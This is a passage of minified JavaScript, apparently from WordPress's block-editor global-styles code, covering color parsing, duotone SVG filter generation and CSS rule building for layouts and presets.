t?(e=t[1]).length&lt;=4?{r:parseInt(e[0]+e[0],16),g:parseInt(e[1]+e[1],16),b:parseInt(e[2]+e[2],16),a:e.length===4?vo(parseInt(e[3]+e[3],16)/255,2):1}:e.length===6||e.length===8?{r:parseInt(e.substr(0,2),16),g:parseInt(e.substr(2,2),16),b:parseInt(e.substr(4,2),16),a:e.length===8?vo(parseInt(e.substr(6,2),16)/255,2):1}:null:null},&quot;hex&quot;],[function(e){var t=Zpe.exec(e)||Kpe.exec(e);return t?t[2]!==t[4]||t[4]!==t[6]?null:k8({r:Number(t[1])/(t[2]?100/255:1),g:Number(t[3])/(t[4]?100/255:1),b:Number(t[5])/(t[6]?100/255:1),a:t[7]===void 0?1:Number(t[7])/(t[8]?100:1)}):null},&quot;rgb&quot;],[function(e){var t=Ype.exec(e)||qpe.exec(e);if(!t)return null;var r,o,n=E8({h:(r=t[1],o=t[2],o===void 0&amp;&amp;(o=&quot;deg&quot;),Number(r)*(Gpe[o]||1)),s:Number(t[3]),l:Number(t[4]),a:t[5]===void 0?1:Number(t[5])/(t[6]?100:1)});return A8(n)},&quot;hsl&quot;]],object:[[function(e){var t=e.r,r=e.g,o=e.b,n=e.a,i=n===void 0?1:n;return Wl(t)&amp;&amp;Wl(r)&amp;&amp;Wl(o)?k8({r:Number(t),g:Number(r),b:Number(o),a:Number(i)}):null},&quot;rgb&quot;],[function(e){var t=e.h,r=e.s,o=e.l,n=e.a,i=n===void 0?1:n;if(!Wl(t)||!Wl(r)||!Wl(o))return null;var a=E8({h:Number(t),s:Number(r),l:Number(o),a:Number(i)});return A8(a)},&quot;hsl&quot;],[function(e){var t=e.h,r=e.s,o=e.v,n=e.a,i=n===void 0?1:n;if(!Wl(t)||!Wl(r)||!Wl(o))return null;var a=(function(l){return{h:F8(l.h),s:es(l.s,0,100),v:es(l.v,0,100),a:es(l.a)}})({h:Number(t),s:Number(r),v:Number(o),a:Number(i)});return B8(a)},&quot;hsv&quot;]]},O8=function(e,t){for(var r=0;r&lt;t.length;r++){var o=t[r][0](e);if(o)return[o,t[r][1]]}return[null,void 0]},Xpe=function(e){return typeof e==&quot;string&quot;?O8(e.trim(),CI.string):typeof e==&quot;object&quot;&amp;&amp;e!==null?O8(e,CI.object):[null,void 0]};var wI=function(e,t){var r=Ly(e);return{h:r.h,s:es(r.s+100*t,0,100),l:r.l,a:r.a}},xI=function(e){return(299*e.r+587*e.g+114*e.b)/1e3/255},I8=function(e,t){var r=Ly(e);return{h:r.h,s:r.s,l:es(r.l+100*t,0,100),a:r.a}},TI=(function(){function e(t){this.parsed=Xpe(t)[0],this.rgba=this.parsed||{r:0,g:0,b:0,a:1}}return e.prototype.isValid=function(){return this.parsed!==null},e.prototype.brightness=function(){return vo(xI(this.rgba),2)},e.prototype.isDark=function(){return xI(this.rgba)&lt;.5},e.prototype.isLight=function(){return xI(this.rgba)&gt;=.5},e.prototype.toHex=function(){return t=_I(this.rgba),r=t.r,o=t.g,n=t.b,a=(i=t.a)&lt;1?cw(vo(255*i)):&quot;&quot;,&quot;#&quot;+cw(r)+cw(o)+cw(n)+a;var t,r,o,n,i,a},e.prototype.toRgb=function(){return _I(this.rgba)},e.prototype.toRgbString=function(){return t=_I(this.rgba),r=t.r,o=t.g,n=t.b,(i=t.a)&lt;1?&quot;rgba(&quot;+r+&quot;, &quot;+o+&quot;, &quot;+n+&quot;, &quot;+i+&quot;)&quot;:&quot;rgb(&quot;+r+&quot;, &quot;+o+&quot;, &quot;+n+&quot;)&quot;;var t,r,o,n,i},e.prototype.toHsl=function(){return R8(Ly(this.rgba))},e.prototype.toHslString=function(){return t=R8(Ly(this.rgba)),r=t.h,o=t.s,n=t.l,(i=t.a)&lt;1?&quot;hsla(&quot;+r+&quot;, &quot;+o+&quot;%, &quot;+n+&quot;%, &quot;+i+&quot;)&quot;:&quot;hsl(&quot;+r+&quot;, &quot;+o+&quot;%, &quot;+n+&quot;%)&quot;;var t,r,o,n,i},e.prototype.toHsv=function(){return t=D8(this.rgba),{h:vo(t.h),s:vo(t.s),v:vo(t.v),a:vo(t.a,3)};var t},e.prototype.invert=function(){return xr({r:255-(t=this.rgba).r,g:255-t.g,b:255-t.b,a:t.a});var t},e.prototype.saturate=function(t){return t===void 0&amp;&amp;(t=.1),xr(wI(this.rgba,t))},e.prototype.desaturate=function(t){return t===void 0&amp;&amp;(t=.1),xr(wI(this.rgba,-t))},e.prototype.grayscale=function(){return xr(wI(this.rgba,-1))},e.prototype.lighten=function(t){return t===void 0&amp;&amp;(t=.1),xr(I8(this.rgba,t))},e.prototype.darken=function(t){return t===void 0&amp;&amp;(t=.1),xr(I8(this.rgba,-t))},e.prototype.rotate=function(t){return t===void 0&amp;&amp;(t=15),this.hue(this.hue()+t)},e.prototype.alpha=function(t){return typeof t==&quot;number&quot;?xr({r:(r=this.rgba).r,g:r.g,b:r.b,a:t}):vo(this.rgba.a,3);var r},e.prototype.hue=function(t){var r=Ly(this.rgba);return typeof t==&quot;number&quot;?xr({h:t,s:r.s,l:r.l,a:r.a}):vo(r.h)},e.prototype.isEqual=function(t){return this.toHex()===xr(t).toHex()},e})(),xr=function(e){return e instanceof TI?e:new TI(e)},N8=[],uw=function(e){e.forEach(function(t){N8.indexOf(t)&lt;0&amp;&amp;(t(TI,CI),N8.push(t))})};function Qpe(e=[]){let t={r:[],g:[],b:[],a:[]};return e.forEach(r=&gt;{let o=xr(r).toRgb();t.r.push(o.r/255),t.g.push(o.g/255),t.b.push(o.b/255),t.a.push(o.a)}),t}function M8(e,t){let r=Qpe(t);return`
&lt;svg
	xmlns:xlink=&quot;http://www.w3.org/1999/xlink&quot;
	viewBox=&quot;0 0 0 0&quot;
	width=&quot;0&quot;
	height=&quot;0&quot;
	focusable=&quot;false&quot;
	role=&quot;none&quot;
	aria-hidden=&quot;true&quot;
	style=&quot;visibility: hidden; position: absolute; left: -9999px; overflow: hidden;&quot;
&gt;
	&lt;defs&gt;
		&lt;filter id=&quot;${e}&quot;&gt;
			&lt;!--
				Use sRGB instead of linearRGB so transparency looks correct.
				Use perceptual brightness to convert to grayscale.
			--&gt;
			&lt;feColorMatrix color-interpolation-filters=&quot;sRGB&quot; type=&quot;matrix&quot; values=&quot; .299 .587 .114 0 0 .299 .587 .114 0 0 .299 .587 .114 0 0 .299 .587 .114 0 0 &quot;&gt;&lt;/feColorMatrix&gt;
			&lt;!-- Use sRGB instead of linearRGB to be consistent with how CSS gradients work. --&gt;
			&lt;feComponentTransfer color-interpolation-filters=&quot;sRGB&quot;&gt;
				&lt;feFuncR type=&quot;table&quot; tableValues=&quot;${r.r.join(&quot; &quot;)}&quot;&gt;&lt;/feFuncR&gt;
				&lt;feFuncG type=&quot;table&quot; tableValues=&quot;${r.g.join(&quot; &quot;)}&quot;&gt;&lt;/feFuncG&gt;
				&lt;feFuncB type=&quot;table&quot; tableValues=&quot;${r.b.join(&quot; &quot;)}&quot;&gt;&lt;/feFuncB&gt;
				&lt;feFuncA type=&quot;table&quot; tableValues=&quot;${r.a.join(&quot; &quot;)}&quot;&gt;&lt;/feFuncA&gt;
			&lt;/feComponentTransfer&gt;
			&lt;!-- Re-mask the image with the original transparency since the feColorMatrix above loses that information. --&gt;
			&lt;feComposite in2=&quot;SourceGraphic&quot; operator=&quot;in&quot;&gt;&lt;/feComposite&gt;
		&lt;/filter&gt;
	&lt;/defs&gt;
&lt;/svg&gt;`}function Yl(e){return e.replace(/([a-z])([A-Z])/g,&quot;$1-$2&quot;).replace(/([0-9])([a-zA-Z])/g,&quot;$1-$2&quot;).replace(/([a-zA-Z])([0-9])/g,&quot;$1-$2&quot;).replace(/[\s_]+/g,&quot;-&quot;).toLowerCase()}function PI(e){if(!e)return;let t=e.match(/var:preset\|spacing\|(.+)/);return t?`var(--wp--preset--spacing--${t[1]})`:e}function Jpe(e){if(!e)return null;let t=typeof e==&quot;string&quot;;return{top:t?e:e?.top,left:t?e:e?.left}}function kI(e,t=&quot;0&quot;){let r=Jpe(e);if(!r)return null;let o=PI(r?.top)||t,n=PI(r?.left)||t;return o===n?o:`${o} ${n}`}var L8={backgroundSize:&quot;cover&quot;,backgroundPosition:&quot;50% 50%&quot;};function V8(e){if(!e||!e?.backgroundImage?.url)return;let t;return e?.backgroundSize||(t={backgroundSize:L8.backgroundSize}),e?.backgroundSize===&quot;contain&quot;&amp;&amp;!e?.backgroundPosition&amp;&amp;(t={backgroundPosition:L8.backgroundPosition}),t}var j8={default:{name:&quot;default&quot;,slug:&quot;flow&quot;,className:&quot;is-layout-flow&quot;,baseStyles:[{selector:&quot; &gt; .alignleft&quot;,rules:{float:&quot;left&quot;,&quot;margin-inline-start&quot;:&quot;0&quot;,&quot;margin-inline-end&quot;:&quot;2em&quot;}},{selector:&quot; &gt; .alignright&quot;,rules:{float:&quot;right&quot;,&quot;margin-inline-start&quot;:&quot;2em&quot;,&quot;margin-inline-end&quot;:&quot;0&quot;}},{selector:&quot; &gt; .aligncenter&quot;,rules:{&quot;margin-left&quot;:&quot;auto !important&quot;,&quot;margin-right&quot;:&quot;auto !important&quot;}}],spacingStyles:[{selector:&quot; &gt; :first-child&quot;,rules:{&quot;margin-block-start&quot;:&quot;0&quot;}},{selector:&quot; &gt; :last-child&quot;,rules:{&quot;margin-block-end&quot;:&quot;0&quot;}},{selector:&quot; &gt; *&quot;,rules:{&quot;margin-block-start&quot;:null,&quot;margin-block-end&quot;:&quot;0&quot;}}]},constrained:{name:&quot;constrained&quot;,slug:&quot;constrained&quot;,className:&quot;is-layout-constrained&quot;,baseStyles:[{selector:&quot; &gt; .alignleft&quot;,rules:{float:&quot;left&quot;,&quot;margin-inline-start&quot;:&quot;0&quot;,&quot;margin-inline-end&quot;:&quot;2em&quot;}},{selector:&quot; &gt; .alignright&quot;,rules:{float:&quot;right&quot;,&quot;margin-inline-start&quot;:&quot;2em&quot;,&quot;margin-inline-end&quot;:&quot;0&quot;}},{selector:&quot; &gt; .aligncenter&quot;,rules:{&quot;margin-left&quot;:&quot;auto !important&quot;,&quot;margin-right&quot;:&quot;auto !important&quot;}},{selector:&quot; &gt; :where(:not(.alignleft):not(.alignright):not(.alignfull))&quot;,rules:{&quot;max-width&quot;:&quot;var(--wp--style--global--content-size)&quot;,&quot;margin-left&quot;:&quot;auto !important&quot;,&quot;margin-right&quot;:&quot;auto !important&quot;}},{selector:&quot; &gt; .alignwide&quot;,rules:{&quot;max-width&quot;:&quot;var(--wp--style--global--wide-size)&quot;}}],spacingStyles:[{selector:&quot; &gt; :first-child&quot;,rules:{&quot;margin-block-start&quot;:&quot;0&quot;}},{selector:&quot; &gt; :last-child&quot;,rules:{&quot;margin-block-end&quot;:&quot;0&quot;}},{selector:&quot; &gt; *&quot;,rules:{&quot;margin-block-start&quot;:null,&quot;margin-block-end&quot;:&quot;0&quot;}}]},flex:{name:&quot;flex&quot;,slug:&quot;flex&quot;,className:&quot;is-layout-flex&quot;,displayMode:&quot;flex&quot;,baseStyles:[{selector:&quot;&quot;,rules:{&quot;flex-wrap&quot;:&quot;wrap&quot;,&quot;align-items&quot;:&quot;center&quot;}},{selector:&quot; &gt; :is(*, div)&quot;,rules:{margin:&quot;0&quot;}}],spacingStyles:[{selector:&quot;&quot;,rules:{gap:null}}]},grid:{name:&quot;grid&quot;,slug:&quot;grid&quot;,className:&quot;is-layout-grid&quot;,displayMode:&quot;grid&quot;,baseStyles:[{selector:&quot; &gt; :is(*, div)&quot;,rules:{margin:&quot;0&quot;}}],spacingStyles:[{selector:&quot;&quot;,rules:{gap:null}}]}};var $pe={button:&quot;wp-element-button&quot;,caption:&quot;wp-element-caption&quot;},ehe={__experimentalBorder:&quot;border&quot;,color:&quot;color&quot;,dimensions:&quot;dimensions&quot;,spacing:&quot;spacing&quot;,typography:&quot;typography&quot;};function the(e={},t){return Rp.reduce((r,{path:o,valueKey:n,valueFunc:i,cssVarInfix:a})=&gt;{let l=Pt(e,o,[]);return[&quot;default&quot;,&quot;theme&quot;,&quot;custom&quot;].forEach(c=&gt;{l[c]&amp;&amp;l[c].forEach(u=&gt;{n&amp;&amp;!i?r.push(`--wp--preset--${a}--${Yl(u.slug)}: ${u[n]}`):i&amp;&amp;typeof i==&quot;function&quot;&amp;&amp;r.push(`--wp--preset--${a}--${Yl(u.slug)}: ${i(u,t)}`)})}),r},[])}function rhe(e=&quot;*&quot;,t={}){return Rp.reduce((r,{path:o,cssVarInfix:n,classes:i})=&gt;{if(!i)return r;let a=Pt(t,o,[]);return[&quot;default&quot;,&quot;theme&quot;,&quot;custom&quot;].forEach(l=&gt;{a[l]&amp;&amp;a[l].forEach(({slug:c})=&gt;{i.forEach(({classSuffix:u,propertyName:d})=&gt;{let f=`.has-${Yl(c)}-${u}`,m=e.split(&quot;,&quot;).map(g=&gt;`${g}${f}`).join(&quot;,&quot;),h=`var(--wp--preset--${n}--${Yl(c)})`;r+=`${m}{${d}: ${h} !important;}`})})}),r},&quot;&quot;)}function ohe(e={}){return Rp.filter(t=&gt;t.path.at(-1)===&quot;duotone&quot;).flatMap(t=&gt;{let r=Pt(e,t.path,{});return[&quot;default&quot;,&quot;theme&quot;].filter(o=&gt;r[o]).flatMap(o=&gt;r[o].map(n=&gt;M8(`wp-duotone-${n.slug}`,n.colors))).join(&quot;&quot;)})}function W8(e={},t,r){let o=[];return Object.keys(e).forEach(n=&gt;{let i=t+Yl(n.replace(&quot;/&quot;,&quot;-&quot;)),a=e[n];if(a instanceof Object){let l=i+r;o=[...o,...W8(a,l,r)]}else o.push(`${i}: ${a}`)}),o}function nhe(e,t){let r=e.split(&quot;,&quot;),o=[];return r.forEach(n=&gt;{o.push(`${t.trim()}${n.trim()}`)}),o.join(&quot;, &quot;)}var z8=(e,t,r)=&gt;{if(r!==&quot;core/paragraph&quot;||(t?.blocks?.[&quot;core/paragraph&quot;]?.typography?.textIndent??t?.typography?.textIndent??&quot;subsequent&quot;)!==&quot;all&quot;)return e;let i=&quot;.wp-block-paragraph + .wp-block-paragraph&quot;,a=&quot;.wp-block-paragraph&quot;;if(i in e){let l=e[i],c={...e};return delete c[i],c[a]=l,c}return e},U8=(e,t)=&gt;{let r={};return Object.entries(e).forEach(([o,n])=&gt;{if(o===&quot;root&quot;||!t?.[o])return;let i=typeof n==&quot;string&quot;;if(!i&amp;&amp;typeof n==&quot;object&quot;&amp;&amp;n!==null&amp;&amp;Object.entries(n).forEach(([a,l])=&gt;{if(a===&quot;root&quot;||!t?.[o][a])return;let c={[o]:{[a]:t[o][a]}},u=Ip(c);r[l]=[...r[l]||[],...u],delete t[o][a]}),i||typeof n==&quot;object&quot;&amp;&amp;n!==null&amp;&amp;&quot;root&quot;in n){let a=i?n:n.root,l={[o]:t[o]},c=Ip(l);r[a]=[...r[a]||[],...c],delete t[o]}}),r};function Ip(e={},t=&quot;&quot;,r,o={},n=!1){let i=Ra===t,a=Object.entries(en.__EXPERIMENTAL_STYLE_PROPERTY).reduce((c,[u,{value:d,properties:f,useEngine:m,rootOnly:h}])=&gt;{if(h&amp;&amp;!i)return c;let g=d;if(g[0]===&quot;elements&quot;||m)return c;let v=Pt(e,g);if(u===&quot;--wp--style--root--padding&quot;&amp;&amp;(typeof v==&quot;string&quot;||!r))return c;if(f&amp;&amp;typeof v!=&quot;string&quot;)Object.entries(f).forEach(y=&gt;{let[b,_]=y;if(!Pt(v,[_],!1))return;let S=b.startsWith(&quot;--&quot;)?b:Yl(b);c.push(`${S}: ${(0,Vy.getCSSValueFromRawStyle)(Pt(v,[_]))}`)});else if(Pt(e,g,!1)){let y=u.startsWith(&quot;--&quot;)?u:Yl(u);c.push(`${y}: ${(0,Vy.getCSSValueFromRawStyle)(Pt(e,g))}`)}return c},[]);return e.background&amp;&amp;(e.background?.backgroundImage&amp;&amp;(e.background.backgroundImage=vI(e.background.backgroundImage,o)),!i&amp;&amp;e.background?.backgroundImage?.id&amp;&amp;(e={...e,background:{...e.background,...V8(e.background)}})),(0,Vy.getCSSRules)(e).forEach(c=&gt;{if(i&amp;&amp;(r||n)&amp;&amp;c.key.startsWith(&quot;padding&quot;))return;let u=c.key.startsWith(&quot;--&quot;)?c.key:Yl(c.key),d=vI(c.value,o);u===&quot;font-size&quot;&amp;&amp;(d=nw({name:&quot;&quot;,slug:&quot;&quot;,size:d},o?.settings)),u===&quot;aspect-ratio&quot;&amp;&amp;a.push(&quot;min-height: unset&quot;),a.push(`${u}: ${d}`)}),a}function H8({layoutDefinitions:e=j8,style:t,selector:r,hasBlockGapSupport:o,hasFallbackGapSupport:n,fallbackGapValue:i}){let a=&quot;&quot;,l=o?kI(t?.spacing?.blockGap):&quot;&quot;;if(n&amp;&amp;(r===Ra?l=l||&quot;0.5em&quot;:!o&amp;&amp;i&amp;&amp;(l=i)),l&amp;&amp;e&amp;&amp;(Object.values(e).forEach(({className:c,name:u,spacingStyles:d})=&gt;{!o&amp;&amp;u!==&quot;flex&quot;&amp;&amp;u!==&quot;grid&quot;||d?.length&amp;&amp;d.forEach(f=&gt;{let m=[];if(f.rules&amp;&amp;Object.entries(f.rules).forEach(([h,g])=&gt;{m.push(`${h}: ${g||l}`)}),m.length){let h=&quot;&quot;;o?h=r===Ra?`:root :where(.${c})${f?.selector||&quot;&quot;}`:`:root :where(${r}-${c})${f?.selector||&quot;&quot;}`:h=r===Ra?`:where(.${c}${f?.selector||&quot;&quot;})`:`:where(${r}.${c}${f?.selector||&quot;&quot;})`,a+=`${h} { ${m.join(&quot;; &quot;)}; }`}})}),r===Ra&amp;&amp;o&amp;&amp;(a+=`${Ny} { --wp--style--block-gap: ${l}; }`)),r===Ra&amp;&amp;e){let c=[&quot;block&quot;,&quot;flex&quot;,&quot;grid&quot;];Object.values(e).forEach(({className:u,displayMode:d,baseStyles:f})=&gt;{d&amp;&amp;c.includes(d)&amp;&amp;(a+=`${r} .${u} { display:${d}; }`),f?.length&amp;&amp;f.forEach(m=&gt;{let h=[];if(m.rules&amp;&amp;Object.entries(m.rules).forEach(([g,v])=&gt;{h.push(`${g}: ${v}`)}),h.length){let g=`.${u}${m?.selector||&quot;&quot;}`;a+=`${g} { ${h.join(&quot;; &quot;)}; }`}})})}return a}var ihe=[&quot;border&quot;,&quot;color&quot;,&quot;dimensions&quot;,&quot;spacing&quot;,&quot;typography&quot;,&quot;filter&quot;,&quot;outline&quot;,&quot;shadow&quot;,&quot;background&quot;];function dw(e){if(!e)return{};let o=Object.entries(e).filter(([n])=&gt;ihe.includes(n)).map(([n,i])=&gt;[n,JSON.parse(JSON.stringify(i))]);return Object.fromEntries(o)}var she=(e,t)=&gt;{let r=[];if(!e?.styles)return r;let o=dw(e.styles);return o&amp;&amp;r.push({styles:o,selector:Ra,skipSelectorWrapper:!0}),Object.entries(en.__EXPERIMENTAL_ELEMENTS).forEach(([n,i])=&gt;{e.styles?.elements?.[n]&amp;&amp;r.push({styles:e.styles?.elements?.[n]??{},selector:i,skipSelectorWrapper:!$pe[n]})}),Object.entries(e.styles?.blocks??{}).forEach(([n,i])=&gt;{let a=dw(i),l=i,c=[];if(l?.variations){let u={};Object.entries(l.variations).forEach(([d,f])=&gt;{let m=f;u[d]=dw(m),m?.css&amp;&amp;(u[d].css=m.css);let h=typeof t!=&quot;string&quot;?t[n]?.styleVariationSelectors?.[d]:void 0;Object.entries(m?.elements??{}).forEach(([g,v])=&gt;{v&amp;&amp;en.__EXPERIMENTAL_ELEMENTS[g]&amp;&amp;c.push({styles:v,selector:Us(h,en.__EXPERIMENTAL_ELEMENTS[g])})}),Object.entries(m?.blocks??{}).forEach(([g,v])=&gt;{let y=typeof t!=&quot;string&quot;?Us(h,t[g]?.selector):void 0,b=typeof t!=&quot;string&quot;?Us(h,t[g]?.duotoneSelector):void 0,_=typeof t!=&quot;string&quot;?m8(h,t[g]?.featureSelectors??{}):void 0,S=dw(v);v?.css&amp;&amp;(S.css=v.css),!(!y||typeof t==&quot;string&quot;)&amp;&amp;(c.push({selector:y,duotoneSelector:b,featureSelectors:_,fallbackGapValue:t[g]?.fallbackGapValue,hasLayoutSupport:t[g]?.hasLayoutSupport,styles:S}),Object.entries(v.elements??{}).forEach(([x,T])=&gt;{T&amp;&amp;en.__EXPERIMENTAL_ELEMENTS[x]&amp;&amp;c.push({styles:T,selector:Us(y,en.__EXPERIMENTAL_ELEMENTS[x])})}))})}),a.variations=u}typeof t!=&quot;string&quot;&amp;&amp;t?.[n]?.selector&amp;&amp;r.push({duotoneSelector:t[n].duotoneSelector,fallbackGapValue:t[n].fallbackGapValue,hasLayoutSupport:t[n].hasLayoutSupport,selector:t[n].selector,styles:a,featureSelectors:t[n].featureSelectors,styleVariationSelectors:t[n].styleVariationSelectors,name:n}),Object.entries(l?.elements??{}).forEach(([u,d])=&gt;{typeof t!=&quot;string&quot;&amp;&amp;d&amp;&amp;t?.[n]&amp;&amp;en.__EXPERIMENTAL_ELEMENTS[u]&amp;&amp;r.push({styles:d,selector:t[n]?.selector.split(&quot;,&quot;).map(f=&gt;en.__EXPERIMENTAL_ELEMENTS[u].split(&quot;,&quot;).map(h=&gt;f+&quot; &quot;+h)).join(&quot;,&quot;)})}),r.push(...c)}),r},RI=(e,t)=&gt;{let r=[];if(!e?.settings)return r;let o=a=&gt;{let l={};return Rp.forEach(({path:c})=&gt;{let u=Pt(a,c,!1);u!==!1&amp;&amp;(l=Su(l,c,u))}),l},n=o(e.settings),i=e.settings?.custom;return(Object.keys(n).length&gt;0||i)&amp;&amp;r.push({presets:n,custom:i,selector:Ny}),Object.entries(e.settings?.blocks??{}).forEach(([a,l])=&gt;{let c=l.custom;if(typeof t==&quot;string&quot;||!t[a])return;let u=o(l);(Object.keys(u).length&gt;0||c)&amp;&amp;r.push({presets:u,custom:c,selector:t[a]?.selector})}),r},ahe=(e,t)=&gt;{let r=RI(e,t),o=&quot;&quot;;return r.forEach(({presets:n,custom:i,selector:a})=&gt;{let l=e?.settings?the(n,e?.settings):[],c=W8(i,&quot;--wp--custom--&quot;,&quot;--&quot;);c.length&gt;0&amp;&amp;l.push(...c),l.length&gt;0&amp;&amp;(o+=`${a}{${l.join(&quot;;&quot;)};}`)}),o},lhe=(e,t,r,o,n=!1,i=!1,a={})=&gt;{let l={blockGap:!0,blockStyles:!0,layoutStyles:!0,marginReset:!0,presets:!0,rootPadding:!0,variationStyles:!1,...a},c=she(e,t),u=RI(e,t),d=e?.settings?.useRootPaddingAwareAlignments,{contentSize:f,wideSize:m}=e?.settings?.layout||{},h=l.marginReset||l.rootPadding||l.layoutStyles,g=&quot;&quot;;if(l.presets&amp;&amp;(f||m)&amp;&amp;(g+=`${Ny} {`,g=f?g+` --wp--style--global--content-size: ${f};`:g,g=m?g+` --wp--style--global--wide-size: ${m};`:g,g+=&quot;}&quot;),h&amp;&amp;(g+=&quot;:where(body) {margin: 0;&quot;,l.rootPadding&amp;&amp;d&amp;&amp;(g+=`padding-right: 0; padding-left: 0; padding-top: var(--wp--style--root--padding-top); padding-bottom: var(--wp--style--root--padding-bottom) }
				.has-global-padding { padding-right: var(--wp--style--root--padding-right); padding-left: var(--wp--style--root--padding-left); }
				.has-global-padding &gt; .alignfull { margin-right: calc(var(--wp--style--root--padding-right) * -1); margin-left: calc(var(--wp--style--root--padding-left) * -1); }
				.has-global-padding :where(:not(.alignfull.is-layout-flow) &gt; .has-global-padding:not(.wp-block-block, .alignfull)) { padding-right: 0; padding-left: 0; }
				.has-global-padding :where(:not(.alignfull.is-layout-flow) &gt; .has-global-padding:not(.wp-block-block, .alignfull)) &gt; .alignfull { margin-left: 0; margin-right: 0;
				`),g+=&quot;}&quot;),l.blockStyles&amp;&amp;c.forEach(({selector:v,duotoneSelector:y,styles:b,fallbackGapValue:_,hasLayoutSupport:S,featureSelectors:x,styleVariationSelectors:T,skipSelectorWrapper:R,name:F})=&gt;{if(x){let L=U8(x,b);L=z8(L,e.settings,F),Object.entries(L).forEach(([M,k])=&gt;{if(k.length){let I=k.join(&quot;;&quot;);g+=`:root :where(${M}){${I};}`}})}if(y){let L={};b?.filter&amp;&amp;(L.filter=b.filter,delete b.filter);let M=Ip(L);M.length&amp;&amp;(g+=`${y}{${M.join(&quot;;&quot;)};}`)}!n&amp;&amp;(Ra===v||S)&amp;&amp;(g+=H8({style:b,selector:v,hasBlockGapSupport:r,hasFallbackGapSupport:o,fallbackGapValue:_}));let B=Ip(b,v,d,e,i);if(B?.length){let L=R?v:`:root :where(${v})`;g+=`${L}{${B.join(&quot;;&quot;)};}`}b?.css&amp;&amp;(g+=EI(b.css,`:root :where(${v})`)),l.variationStyles&amp;&amp;T&amp;&amp;Object.entries(T).forEach(([L,M])=&gt;{let k=b?.variations?.[L];if(k){if(x){let U=U8(x,k);U=z8(U,e.settings,F),Object.entries(U).forEach(([G,Y])=&gt;{if(Y.length){let Z=nhe(G,M),V=Y.join(&quot;;&quot;);g+=`:root :where(${Z}){${V};}`}})}let I=Ip(k,M,d,e);if(I.length&amp;&amp;(g+=`:root :where(${M}){${I.join(&quot;;&quot;)};}`),k?.css&amp;&amp;(g+=EI(k.css,`:root :where(${M})`)),S&amp;&amp;k?.spacing?.blockGap){let U=M+v;g+=H8({style:k,selector:U,hasBlockGapSupport:!0,hasFallbackGapSupport:o,fallbackGapValue:_})}}});let z=Object.entries(b).filter(([L])=&gt;L.startsWith(&quot;:&quot;));z?.length&amp;&amp;z.forEach(([L,M])=&gt;{let k=Ip(M);if(!k?.length)return;let U=`:root :where(${v.split(&quot;,&quot;).map(G=&gt;G+L).join(&quot;,&quot;)}){${k.join(&quot;;&quot;)};}`;g+=U})}),l.layoutStyles&amp;&amp;(g=g+&quot;.wp-site-blocks &gt; .alignleft { float: left; margin-right: 2em; }&quot;,g=g+&quot;.wp-site-blocks &gt; .alignright { float: right; margin-left: 2em; }&quot;,g=g+&quot;.wp-site-blocks &gt; .aligncenter { justify-content: center; margin-left: auto; margin-right: auto; }&quot;),l.blockGap&amp;&amp;r){let v=kI(e?.styles?.spacing?.blockGap)||&quot;0.5em&quot;;g=g+`:root :where(.wp-site-blocks) &gt; * { margin-block-start: ${v}; margin-block-end: 0; }`,g=g+&quot;:root :where(.wp-site-blocks) &gt; :first-child { margin-block-start: 0; }&quot;,g=g+&quot;:root :where(.wp-site-blocks) &gt; :last-child { margin-block-end: 0; }&quot;}return l.presets&amp;&amp;u.forEach(({selector:v,presets:y})=&gt;{(Ra===v||Ny===v)&amp;&amp;(v=&quot;&quot;);let b=rhe(v,y);b.length&gt;0&amp;&amp;(g+=b)}),g};function che(e,t){return RI(e,t).flatMap(({presets:o})=&gt;ohe(o))}var uhe=(e,t)=&gt;{if(e?.selectors&amp;&amp;Object.keys(e.selectors).length&gt;0)return e.selectors;let r={root:t};return Object.entries(ehe).forEach(([o,n])=&gt;{let i=Op(e,o);i&amp;&amp;(r[n]=i)}),r},dhe=(e,t)=&gt;{let{getBlockStyles:r}=(0,G8.select)(en.store),o={};return e.forEach(n=&gt;{let i=n.name,a=Op(n);if(!a)return;let l=Op(n,&quot;filter.duotone&quot;);if(!l){let h=Op(n),g=(0,en.getBlockSupport)(n,&quot;color.__experimentalDuotone&quot;,!1);l=g&amp;&amp;h&amp;&amp;Us(h,g)}let c=!!n?.supports?.layout||!!n?.supports?.__experimentalLayout,u=n?.supports?.spacing?.blockGap?.__experimentalDefault,d=r(i),f={};d?.forEach(h=&gt;{let g=t?`-${t}`:&quot;&quot;,v=`${h.name}${g}`,y=h8(v,a);f[v]=y});let m=uhe(n,a);o[i]={duotoneSelector:l??void 0,fallbackGapValue:u,featureSelectors:Object.keys(m).length?m:void 0,hasLayoutSupport:c,name:i,selector:a,styleVariationSelectors:d?.length?f:void 0}}),o};function fhe(e){let t=e.styles?.blocks,r=t?.[&quot;core/separator&quot;];return r&amp;&amp;r.color?.background&amp;&amp;!r.color?.text&amp;&amp;!r.border?.color?{...e,styles:{...e.styles,blocks:{...t,&quot;core/separator&quot;:{...r,color:{...r.color,text:r.color?.background}}}}}:e}function EI(e,t){let r=&quot;&quot;;return!e||e.trim()===&quot;&quot;||e.split(&quot;&amp;&quot;).forEach(n=&gt;{if(!n||n.trim()===&quot;&quot;)return;if(!n.includes(&quot;{&quot;))r+=`:root :where(${t}){${n.trim()}}`;else{let a=n.replace(&quot;}&quot;,&quot;&quot;).split(&quot;{&quot;);if(a.length!==2)return;let[l,c]=a,u=l.match(/([&gt;+~\s]*::[a-zA-Z-]+)/),d=u?u[1]:&quot;&quot;,f=u?l.replace(d,&quot;&quot;).trim():l.trim(),m;f===&quot;&quot;?m=t:m=l.startsWith(&quot; &quot;)?Us(t,f):p8(t,f),r+=`:root :where(${m})${d}{${c.trim()}}`}}),r}function jy(e={},t=[],r={}){let{hasBlockGapSupport:o,hasFallbackGapSupport:n,disableLayoutStyles:i=!1,disableRootPadding:a=!1,styleOptions:l={}}=r,c=t.length&gt;0?t:(0,en.getBlockTypes)(),u=mf(e,&quot;spacing.blockGap&quot;),d=o??u!==null,f=n??!d;if(!e?.styles||!e?.settings)return[[],{}];let m=fhe(e),h=dhe(c),g=ahe(m,h),v=lhe(m,h,d,f,i,a,l),y=che(m,h),b=[{css:g,isGlobalStyles:!0},{css:v,isGlobalStyles:!0},{css:m?.styles?.css??&quot;&quot;,isGlobalStyles:!0},{assets:y,__unstableType:&quot;svg&quot;,isGlobalStyles:!0}];return c.forEach(_=&gt;{let S=m?.styles?.blocks?.[_.name];if(S?.css){let x=h[_.name].selector;b.push({css:EI(S.css,x),isGlobalStyles:!0})}}),[b,m.settings]}var{cleanEmptyObject:AI}=N(Y8.privateApis);function 